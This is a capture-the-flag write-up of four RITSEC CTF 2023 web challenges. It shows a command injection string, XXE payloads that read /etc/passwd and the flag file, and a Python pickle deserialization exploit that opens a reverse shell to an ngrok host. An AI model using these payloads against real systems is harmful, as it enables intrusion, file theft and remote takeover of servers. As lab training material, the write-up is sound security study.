RITSEC CTF 2023 ran from 23:00 on 31/03/2023 to 23:00 on 02/04/2023. I started playing around 19:00 on 02/04, so I only had time to do 3 challenges: Echoes, Rick Roll and X-Men Lore. Pickle Store I only just managed to solve it! The challenge source code and the organizers’ own writeups can be found here.
Echoes
Do you hear that?
Visiting the site, we see a form where you enter a word and the web app echoes it back.

It’s easy to guess that behind this web app the server runs a command like echo test . Let’s try executing an extra ls command by entering.
| ls .I tried other commands like | ls./ and | ls ./, and neither worked, probably because the server filters them @@

Now we just need to enter | cat flag.txt to get the flag

Flag:
RS{R3S0UND1NG_SUCS3SS!}Rick Roll
I mean, do I need to say more?
This challenge just requires finding the pieces of the flag scattered all over the source code. Flag:
RS{/\/eveRG0nna_G1v3y0uuP_|3tY0|_|d0vvn_TuRna30unD_D3s3RTy0u}X-Men Lore
The 90’s X-Men Animated Series is better than the movies. Change my mind.

The page has buttons that, when clicked, take us to /xmen and also set the value of the cookie according to each button.
Decoding one cookie from base64, we see

The XML is very clear -> this could be XXE. Let’s try reading the file /etc/passwd with this payload:
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><input><xmen>&test;</xmen></input>Encode it back to base64 and change the cookie value

So it really is XXE. Based on the hint that the flag has no file extension, the following payload let me read the flag:
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag'>]><input><xmen>&test;</xmen></input>
Flag:
RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}Pickle Store
New pickles just dropped! Check out the store

Similar to the xmen challenge, the buttons also take us to /order and set the value of the cookie. But this time the cookie isn’t plain base64 anymore. The challenge name is Pickle -> maybe it was serialized by Python’s pickle module. Let’s try deserializing a cookie from the “Sweet Pickle” button:
import base64import pickle
# Decode base64encoded_str = "gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="decoded_str = base64.b64decode(encoded_str)
# Deserializeobj = pickle.loads(decoded_str)
print(obj)sweetpickle-> It really was serialized with pickle
Googling around, I learned that this module has an RCE vulnerability when deserializing

-> we can serialize some malicious payload so that when the server deserializes it, it executes the code we want.
Googling further, I found quite a few articles about Python Pickle RCE, and here there’s a writeup on using this vulnerability to create a reverse shell
import pickleimport base64import os
class RCE: def __reduce__(self): cmd = ('<payloadhere>') return os.system, (cmd,)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))Now the job is to create a payload to put in the cmd part, along with setting up a tcp server so we can connect back. I set up localhost listening on port 1221 and used ngrok to tunnel localhost to the internet:

A reverse shell payload can be found at revshells.com. I chose to create the reverse shell with python because we already know the server uses python as its backend. Bash might work in this case too.

import pickleimport base64import os
class RCE: def __reduce__(self): cmd = (''' python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",13073));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' ''') return os.system, (cmd,)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))b'gASVrgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJMgcHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC50Y3AuYXAubmdyb2suaW8iLDEzMDczKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIpJyCUhZRSlC4='Update the cookie and send the request:

Right after sending it, my machine received a connection:

Now I just need to find and read the flag and I’m done!

Flag:
RS{TH3_L345T_53CUR3_P1CKL3}